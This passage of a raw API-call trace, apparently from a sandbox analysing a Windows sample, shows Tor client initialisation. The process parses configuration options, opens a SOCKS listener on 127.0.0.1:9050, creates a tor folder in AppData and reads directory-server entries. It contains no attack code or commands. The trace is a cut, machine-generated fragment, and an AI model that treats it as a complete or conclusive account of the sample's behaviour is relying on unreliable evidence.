returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="OutboundBindAddress") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasDisableRate") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasCircThreshold") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasNoticeRate") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasWarnRate") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasExtremeRate") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasScaleThreshold") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasScaleFactor") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasMultFactor") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasDropGuards") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasUseCloseCounts") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasUseThreshold") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasNoticeUseRate") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasExtremeUseRate") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathBiasScaleUseThreshold") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PathsNeededToBuildCircuits") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PerConnBWBurst") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PerConnBWRate") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PidFile") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TestingTorNetwork") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TestingMinExitFlagThreshold") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TestingMinFastFlagThreshold") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TestingLinkCertLifetime") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TestingAuthKeyLifetime") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TestingLinkKeySlop") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TestingAuthKeySlop") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TestingSigningKeySlop") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="OptimisticData") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PortForwarding") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PortForwardingHelper") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PreferTunneledDirConns") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ProtocolWarnings") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PublishServerDescriptor") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PublishHidServDescriptors") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ReachableAddresses") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ReachableDirAddresses") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ReachableORAddresses") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="RecommendedVersions") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="RecommendedClientVersions") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="RecommendedServerVersions") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="RecommendedPackages") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="RefuseUnknownExits") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="RejectPlaintextPorts") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="RelayBandwidthBurst") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="RelayBandwidthRate") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="RendPostPeriod") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="RephistTrackTime") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="RunAsDaemon") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="RunTesting") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="Sandbox") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="SafeLogging") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="SafeSocks") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ServerDNSAllowBrokenConfig") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ServerDNSAllowNonRFC953Hostnames") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ServerDNSDetectHijacking") returned 1 [0115.555] strlen (_Str="TestingV3AuthInitialVotingInterval") returned 0x22 [0115.555] strlen (_Str="TestingV3AuthInitialVoteDelay") returned 0x1d [0115.555] strlen (_Str="TestingV3AuthInitialVoteDelay") returned 0x1d [0115.555] strlen (_Str="TestingV3AuthInitialDistDelay") returned 0x1d [0115.555] strlen (_Str="TestingV3AuthInitialDistDelay") returned 0x1d [0115.555] strlen (_Str="TestingV3AuthVotingStartOffset") returned 0x1e [0115.555] strlen (_Str="TestingV3AuthVotingStartOffset") returned 0x1e [0115.555] strlen (_Str="TestingAuthDirTimeToLearnReachability") returned 0x25 [0115.555] strlen (_Str="TestingAuthDirTimeToLearnReachability") returned 0x25 [0115.555] strlen (_Str="TestingEstimatedDescriptorPropagationTime") returned 0x29 [0115.555] strlen (_Str="TestingEstimatedDescriptorPropagationTime") returned 0x29 [0115.555] strlen (_Str="TestingServerDownloadSchedule") returned 0x1d [0115.555] strlen (_Str=",") returned 0x1 [0115.555] strlen (_Str="0") returned 0x1 [0115.555] strlen (_Str="0") returned 0x1 [0115.555] strlen (_Str="0") returned 0x1 [0115.555] strlen (_Str="60") returned 0x2 [0115.555] strlen (_Str="60") returned 0x2 [0115.555] strlen (_Str="120") returned 0x3 [0115.555] strlen (_Str="300") returned 0x3 [0115.555] strlen (_Str="900") returned 0x3 [0115.555] strlen (_Str="2147483647") returned 0xa [0115.555] strlen (_Str="TestingServerDownloadSchedule") returned 0x1d [0115.555] strlen (_Str=",") returned 0x1 [0115.555] strlen (_Str="0") returned 0x1 [0115.555] strlen (_Str="0") returned 0x1 [0115.555] strlen (_Str="0") returned 0x1 [0115.555] strlen (_Str="60") returned 0x2 [0115.555] strlen (_Str="60") returned 0x2 [0115.555] strlen (_Str="120") returned 0x3 [0115.555] strlen (_Str="300") returned 0x3 [0115.555] strlen (_Str="900") returned 0x3 [0115.555] strlen (_Str="2147483647") returned 0xa [0115.555] strlen (_Str="TestingClientDownloadSchedule") returned 0x1d [0115.555] strlen (_Str=",") returned 0x1 [0115.555] strlen (_Str="0") returned 0x1 [0115.555] strlen (_Str="0") returned 0x1 [0115.555] strlen (_Str="60") returned 0x2 [0115.555] strlen (_Str="300") returned 0x3 [0115.555] strlen (_Str="600") returned 0x3 [0115.555] strlen (_Str="2147483647") returned 0xa [0115.555] strlen (_Str="TestingClientDownloadSchedule") returned 0x1d [0115.556] strlen (_Str=",") returned 0x1 [0115.556] strlen (_Str="0") returned 0x1 [0115.556] strlen (_Str="0") returned 0x1 [0115.556] strlen (_Str="60") returned 0x2 [0115.556] strlen (_Str="300") returned 0x3 [0115.556] strlen (_Str="600") returned 0x3 [0115.556] strlen (_Str="2147483647") returned 0xa [0115.556] strlen (_Str="TestingServerConsensusDownloadSchedule") returned 0x26 [0115.556] strlen (_Str=",") returned 0x1 [0115.556] strlen (_Str="0") returned 0x1 [0115.556] strlen (_Str="0") returned 0x1 [0115.556] strlen (_Str="60") returned 0x2 [0115.556] strlen (_Str="300") returned 0x3 [0115.556] strlen (_Str="600") returned 0x3 [0115.556] strlen (_Str="1800") returned 0x4 [0115.556] strlen (_Str="1800") returned 0x4 [0115.556] strlen (_Str="1800") returned 0x4 [0115.556] strlen (_Str="1800") returned 0x4 [0115.556] strlen (_Str="1800") returned 0x4 [0115.556] strlen (_Str="3600") returned 0x4 [0115.556] strlen (_Str="7200") returned 0x4 [0115.556] strlen (_Str="TestingServerConsensusDownloadSchedule") returned 0x26 [0115.556] strlen (_Str=",") returned 0x1 [0115.556] strlen (_Str="0") returned 0x1 [0115.556] strlen (_Str="0") returned 0x1 [0115.556] strlen (_Str="60") returned 0x2 [0115.556] strlen (_Str="300") returned 0x3 [0115.556] strlen (_Str="600") returned 0x3 [0115.556] strlen (_Str="1800") returned 0x4 [0115.556] strlen (_Str="1800") returned 0x4 [0115.556] strlen (_Str="1800") returned 0x4 [0115.556] strlen (_Str="1800") returned 0x4 [0115.556] strlen (_Str="1800") returned 0x4 [0115.556] strlen (_Str="3600") returned 0x4 [0115.556] strlen (_Str="7200") returned 0x4 [0115.556] strlen (_Str="TestingClientConsensusDownloadSchedule") returned 0x26 [0115.556] strlen (_Str=",") returned 0x1 [0115.556] strlen (_Str="0") returned 0x1 [0115.556] strlen (_Str="0") returned 0x1 [0115.556] strlen (_Str="60") returned 0x2 [0115.556] strlen (_Str="300") returned 0x3 [0115.556] strlen (_Str="600") returned 0x3 [0115.556] strlen (_Str="1800") returned 0x4 [0115.556] strlen (_Str="3600") returned 0x4 [0115.556] strlen (_Str="3600") returned 0x4 [0115.556] strlen (_Str="3600") returned 0x4 [0115.556] strlen (_Str="10800") returned 0x5 [0115.556] strlen (_Str="21600") returned 0x5 [0115.556] strlen (_Str="43200") returned 0x5 [0115.556] strlen (_Str="TestingClientConsensusDownloadSchedule") returned 0x26 [0115.556] strlen (_Str=",") returned 0x1 [0115.557] strlen (_Str="0") returned 0x1 [0115.557] strlen (_Str="0") returned 0x1 [0115.557] strlen (_Str="60") returned 0x2 [0115.557] strlen (_Str="300") returned 0x3 [0115.557] strlen (_Str="600") returned 0x3 [0115.557] strlen (_Str="1800") returned 0x4 [0115.557] strlen (_Str="3600") returned 0x4 [0115.557] strlen (_Str="3600") returned 0x4 [0115.557] strlen (_Str="3600") returned 0x4 [0115.557] strlen (_Str="10800") returned 0x5 [0115.557] strlen (_Str="21600") returned 0x5 [0115.557] strlen (_Str="43200") returned 0x5 [0115.557] strlen (_Str="TestingBridgeDownloadSchedule") returned 0x1d [0115.557] strlen (_Str=",") returned 0x1 [0115.557] strlen (_Str="3600") returned 0x4 [0115.557] strlen (_Str="900") returned 0x3 [0115.557] strlen (_Str="900") returned 0x3 [0115.557] strlen (_Str="3600") returned 0x4 [0115.557] strlen (_Str="TestingBridgeDownloadSchedule") returned 0x1d [0115.557] strlen (_Str=",") returned 0x1 [0115.557] strlen (_Str="3600") returned 0x4 [0115.557] strlen (_Str="900") returned 0x3 [0115.557] strlen (_Str="900") returned 0x3 [0115.557] strlen (_Str="3600") returned 0x4 [0115.557] strlen (_Str="TestingClientMaxIntervalWithoutRequest") returned 0x26 [0115.557] strlen (_Str="TestingClientMaxIntervalWithoutRequest") returned 0x26 [0115.557] strlen (_Str="TestingDirConnectionMaxStall") returned 0x1c [0115.558] strlen (_Str="TestingDirConnectionMaxStall") returned 0x1c [0115.558] strlen (_Str="TestingConsensusMaxDownloadTries") returned 0x20 [0115.558] strlen (_Str="TestingConsensusMaxDownloadTries") returned 0x20 [0115.558] strlen (_Str="TestingDescriptorMaxDownloadTries") returned 0x21 [0115.558] strlen (_Str="TestingDescriptorMaxDownloadTries") returned 0x21 [0115.558] strlen (_Str="TestingMicrodescMaxDownloadTries") returned 0x20 [0115.558] strlen (_Str="TestingMicrodescMaxDownloadTries") returned 0x20 [0115.558] strlen (_Str="TestingCertMaxDownloadTries") returned 0x1b [0115.558] strlen (_Str="TestingCertMaxDownloadTries") returned 0x1b [0115.558] strlen (_Str="TestingAuthKeyLifetime") returned 0x16 [0115.558] strlen (_Str="TestingAuthKeyLifetime") returned 0x16 [0115.558] strlen (_Str="TestingLinkCertLifetime") returned 0x17 [0115.558] strlen (_Str="TestingLinkCertLifetime") returned 0x17 [0115.558] strlen (_Str="TestingSigningKeySlop") returned 0x15 [0115.558] strlen (_Str="TestingSigningKeySlop") returned 0x15 [0115.558] strlen (_Str="TestingAuthKeySlop") returned 0x12 [0115.558] strlen (_Str="TestingAuthKeySlop") returned 0x12 [0115.558] strlen (_Str="TestingLinkKeySlop") returned 0x12 [0115.558] strlen (_Str="TestingLinkKeySlop") returned 0x12 [0115.558] GetSystemInfo (in: lpSystemInfo=0x36f438 | out: lpSystemInfo=0x36f438*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0115.558] calloc (_Count=0x1, _Size=0x14) returned 0x8411a0 [0115.558] calloc (_Count=0x1, _Size=0x178) returned 0x848308 [0115.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f2f8 | out: lpSystemTimeAsFileTime=0x36f2f8*(dwLowDateTime=0x3b67b150, dwHighDateTime=0x1d31ac1)) [0115.558] _vsnprintf (in: _DstBuf=0x36f3ec, _MaxCount=0x40, _Format="EVENT_NO%s", _ArgList=0x36f3cc | out: _DstBuf="EVENT_NOwin32") returned 13 [0115.559] getenv (_VarName="EVENT_NOWIN32") returned 0x0 [0115.559] calloc (_Count=0x1, _Size=0x20) returned 0x848720 [0115.559] socket (af=2, type=1, protocol=0) returned 0x1a8 [0115.559] htonl (hostlong=0x7f000001) returned 0x100007f [0115.559] bind (s=0x1a8, addr=0x36f33c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), namelen=16) returned 0 [0115.559] listen (s=0x1a8, backlog=1) returned 0 [0115.559] socket (af=2, type=1, protocol=0) returned 0x1b4 [0115.559] getsockname (in: s=0x1a8, name=0x36f34c, namelen=0x36f328 | out: name=0x36f34c*(sa_family=2, sin_port=0xc014, sin_addr="127.0.0.1"), namelen=0x36f328) returned 0 [0115.559] connect (s=0x1b4, name=0x36f34c*(sa_family=2, sin_port=0xc014, sin_addr="127.0.0.1"), namelen=16) returned 0 [0115.559] accept (in: s=0x1a8, addr=0x36f33c, addrlen=0x36f328 | out: addr=0x36f33c*(sa_family=2, sin_port=0xc015, sin_addr="127.0.0.1"), addrlen=0x36f328) returned 0x1b8 [0115.560] getsockname (in: s=0x1b4, name=0x36f34c, namelen=0x36f328 | out: name=0x36f34c*(sa_family=2, sin_port=0xc015, sin_addr="127.0.0.1"), namelen=0x36f328) returned 0 [0115.560] closesocket (s=0x1a8) returned 0 [0115.560] ioctlsocket (in: s=0x1b4, cmd=-2147195266, argp=0x36f398 | out: argp=0x36f398) returned 0 [0115.560] ioctlsocket (in: s=0x1b8, cmd=-2147195266, argp=0x36f398 | out: argp=0x36f398) returned 0 [0115.560] getenv (_VarName="EVENT_SHOW_METHOD") returned 0x0 [0115.560] calloc (_Count=0x1, _Size=0x8) returned 0x8462a0 [0115.560] htonl (hostlong=0x7f000001) returned 0x100007f [0115.560] htons (hostshort=0x235a) returned 0x5a23 [0115.560] htonl (hostlong=0x100007f) returned 0x7f000001 [0115.560] _vsnprintf (in: _DstBuf=0x36f3cc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f26c | out: _DstBuf="127.0.0.1") returned 9 [0115.560] htons (hostshort=0x5a23) returned 0x235a [0115.560] htonl (hostlong=0x100007f) returned 0x7f000001 [0115.560] _vsnprintf (in: _DstBuf=0x1192460, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f11c | out: _DstBuf="127.0.0.1") returned 9 [0115.560] _vsnprintf (in: _DstBuf=0x11924a0, _MaxCount=0x36, _Format="%s:%u", _ArgList=0x36f29c | out: _DstBuf="127.0.0.1:9050") returned 14 [0115.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36c900 | out: lpSystemTimeAsFileTime=0x36c900*(dwLowDateTime=0x3b67b150, dwHighDateTime=0x1d31ac1)) [0115.560] localtime (param_1=0x36c950) returned 0x841688 [0115.560] strftime (in: _Buf=0x36ca7c, _SizeInBytes=0x27fe, _Format="%b %d %H:%M:%S", _Tm=0x841688 | out: _Buf="Aug 22 01:35:35") returned 0xf [0115.560] _vsnprintf (in: _DstBuf=0x36ca8b, _MaxCount=0x27ef, _Format=".%.3i [%s] ", _ArgList=0x36c92c | out: _DstBuf=".153 [notice] ") returned 14 [0115.561] _vsnprintf (in: _DstBuf=0x36ca99, _MaxCount=0x27e1, _Format="Opening %s on %s", _ArgList=0x36f2f0 | out: _DstBuf="Opening Socks listener on 127.0.0.1:9050") returned 40 [0115.561] socket (af=2, type=1, protocol=6) returned 0x1a8 [0115.561] ioctlsocket (in: s=0x1a8, cmd=-2147195266, argp=0x36f228 | out: argp=0x36f228) returned 0 [0115.561] setsockopt (s=0x1a8, level=65535, optname=-5, optval="\x01", optlen=4) returned 0 [0115.561] bind (s=0x1a8, addr=0x842320*(sa_family=2, sin_port=0x235a, sin_addr="127.0.0.1"), namelen=16) returned 0 [0115.561] listen (s=0x1a8, backlog=2147483647) returned 0 [0115.561] calloc (_Count=0x1, _Size=0x1c) returned 0x8484f0 [0115.561] strlen (_Str="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor") returned 0x2b [0115.561] _stati64 (in: _Name="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor", _Stat=0x36f4d8 | out: _Stat=0x36f4d8) returned -1 [0115.561] _mkdir (_Path="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor") returned 0 [0115.562] strlen (_Str="file") returned 0x4 [0115.562] _strnicmp (_Str1="noti", _Str="file", _MaxCount=0x4) returned 1 [0115.562] strlen (_Str="stderr") returned 0x6 [0115.562] _strnicmp (_Str1="notice", _Str="stderr", _MaxCount=0x6) returned -1 [0115.562] strlen (_Str="stdout") returned 0x6 [0115.562] _strnicmp (_Str1="notice", _Str="stdout", _MaxCount=0x6) returned -1 [0115.562] strlen (_Str="syslog") returned 0x6 [0115.562] _strnicmp (_Str1="notice", _Str="syslog", _MaxCount=0x6) returned -1 [0115.562] _strcmpi (_Str1="notice", _Str2="err") returned 1 [0115.562] _strcmpi (_Str1="notice", _Str2="warn") returned -1 [0115.562] _strcmpi (_Str1="notice", _Str2="notice") returned 0 [0115.562] _strcmpi (_Str1="ERR", _Str2="err") returned 0 [0115.562] strlen (_Str="file") returned 0x4 [0115.562] _strnicmp (_Str1="stdo", _Str="file", _MaxCount=0x4) returned 1 [0115.562] strlen (_Str="stderr") returned 0x6 [0115.562] _strnicmp (_Str1="stdout", _Str="stderr", _MaxCount=0x6) returned 1 [0115.562] strlen (_Str="stdout") returned 0x6 [0115.562] _strnicmp (_Str1="stdout", _Str="stdout", _MaxCount=0x6) returned 0 [0115.562] _strcmpi (_Str1="stdout", _Str2="stdout") returned 0 [0115.562] _strcmpi (_Str1="stdout", _Str2="stderr") returned 1 [0115.562] _fileno (_File=0x75db2920) returned -2 [0115.562] strlen (_Str="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor") returned 0x2b [0115.562] strlen (_Str="lock") returned 0x4 [0115.562] _vsnprintf (in: _DstBuf=0x9fe7f0, _MaxCount=0x31, _Format="%s\\%s", _ArgList=0x36f4ac | out: _DstBuf="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\lock") returned 48 [0115.562] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\lock" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\lock"), _OpenFlag=770) returned 3 [0115.562] _lseek (_FileHandle=3, _Offset=0, _Origin=0) returned 0 [0115.620] _locking (_FileHandle=3, _LockMode=2, _NumOfBytes=1) returned 0 [0115.620] strlen (_Str="orport=") returned 0x7 [0115.620] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.620] _errno () returned 0x9f07d8 [0115.620] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.620] _errno () returned 0x9f07d8 [0115.620] strlen (_Str="orport=") returned 0x7 [0115.620] strncmp (_Str1="id=01A9", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.620] strlen (_Str="id=") returned 0x3 [0115.620] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.620] strlen (_Str="id=01A9258A46E97FF8B2CAC7910577862C14F2C524") returned 0x2b [0115.620] strlen (_Str="orport=") returned 0x7 [0115.620] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.620] strlen (_Str="id=") returned 0x3 [0115.620] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.621] strlen (_Str="ipv6=") returned 0x5 [0115.621] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.621] strlen (_Str="weight=") returned 0x7 [0115.621] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.621] _errno () returned 0x9f07d8 [0115.621] localeconv () returned 0x75db2b80 [0115.621] strlen (_Str=".") returned 0x1 [0115.621] _onexit (_Func=0x10f7420) returned 0x10f7420 [0115.621] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.621] _errno () returned 0x9f07d8 [0115.621] htonl (hostlong=0xc1abca92) returned 0x92caabc1 [0115.621] htonl (hostlong=0x92caabc1) returned 0xc1abca92 [0115.621] htonl (hostlong=0x92caabc1) returned 0xc1abca92 [0115.621] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="193.171.202.146") returned 15 [0115.621] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 40 [0115.621] _vsnprintf (in: _DstBuf=0x846330, _MaxCount=0x29, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 193.171.202.146:9030") returned 40 [0115.621] strlen (_Str="orport=") returned 0x7 [0115.621] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.621] _errno () returned 0x9f07d8 [0115.621] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.621] _errno () returned 0x9f07d8 [0115.622] strlen (_Str="orport=") returned 0x7 [0115.622] strncmp (_Str1="id=0756", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.622] strlen (_Str="id=") returned 0x3 [0115.622] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.622] strlen (_Str="id=0756B7CD4DFC8182BE23143FAC0642F515182CEB") returned 0x2b [0115.622] strlen (_Str="orport=") returned 0x7 [0115.622] strncmp (_Str1="ipv6=[2", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.622] strlen (_Str="id=") returned 0x3 [0115.622] strncmp (_Str1="ipv", _Str2="id=", _MaxCount=0x3) returned 12 [0115.622] strlen (_Str="ipv6=") returned 0x5 [0115.622] _strnicmp (_Str1="ipv6=", _Str="ipv6=", _MaxCount=0x5) returned 0 [0115.622] strlen (_Str="[2a01:4f8:162:51e2::2]:9001") returned 0x1b [0115.622] strlen (_Str="2a01:4f8:162:51e2::2]:900") returned 0x19 [0115.622] strtol (in: _Str="2a01:4f8:162:51e2::2]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":4f8:162:51e2::2]:900") returned 10753 [0115.622] strtol (in: _Str="4f8:162:51e2::2]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":162:51e2::2]:900") returned 1272 [0115.622] strtol (in: _Str="162:51e2::2]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":51e2::2]:900") returned 354 [0115.622] strtol (in: _Str="51e2::2]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="::2]:900") returned 20962 [0115.622] strtol (in: _Str="2]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="]:900") returned 2 [0115.622] strtol (in: _Str="9001", _EndPtr=0x36f2a4, _Radix=10 | out: _EndPtr=0x36f2a4*="") returned 9001 [0115.622] _errno () returned 0x9f07d8 [0115.622] strlen (_Str="[2a01:4f8:162:51e2::2]") returned 0x16 [0115.622] strlen (_Str="2a01:4f8:162:51e2::2") returned 0x14 [0115.622] strtol (in: _Str="2a01:4f8:162:51e2::2", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":4f8:162:51e2::2") returned 10753 [0115.622] strtol (in: _Str="4f8:162:51e2::2", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":162:51e2::2") returned 1272 [0115.622] strtol (in: _Str="162:51e2::2", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":51e2::2") returned 354 [0115.622] strtol (in: _Str="51e2::2", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="::2") returned 20962 [0115.622] strtol (in: _Str="2", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="") returned 2 [0115.622] strlen (_Str="orport=") returned 0x7 [0115.622] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.622] strlen (_Str="id=") returned 0x3 [0115.622] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.622] strlen (_Str="ipv6=") returned 0x5 [0115.622] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.622] strlen (_Str="weight=") returned 0x7 [0115.622] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.622] _errno () returned 0x9f07d8 [0115.622] localeconv () returned 0x75db2b80 [0115.622] strlen (_Str=".") returned 0x1 [0115.622] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.622] _errno () returned 0x9f07d8 [0115.622] htonl (hostlong=0x5096eec) returned 0xec6e0905 [0115.622] htonl (hostlong=0xec6e0905) returned 0x5096eec [0115.623] htonl (hostlong=0xec6e0905) returned 0x5096eec [0115.623] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="5.9.110.236") returned 11 [0115.623] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 36 [0115.623] _vsnprintf (in: _DstBuf=0x847400, _MaxCount=0x25, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 5.9.110.236:9030") returned 36 [0115.623] strlen (_Str="orport=") returned 0x7 [0115.623] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.623] _errno () returned 0x9f07d8 [0115.623] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.623] _errno () returned 0x9f07d8 [0115.623] strlen (_Str="orport=") returned 0x7 [0115.623] strncmp (_Str1="id=0BEA", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.623] strlen (_Str="id=") returned 0x3 [0115.623] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.623] strlen (_Str="id=0BEA4A88D069753218EAAAD6D22EA87B9A1319D6") returned 0x2b [0115.623] strlen (_Str="orport=") returned 0x7 [0115.623] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.623] strlen (_Str="id=") returned 0x3 [0115.623] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.623] strlen (_Str="ipv6=") returned 0x5 [0115.623] _strnicmp (_Str1="weigh", 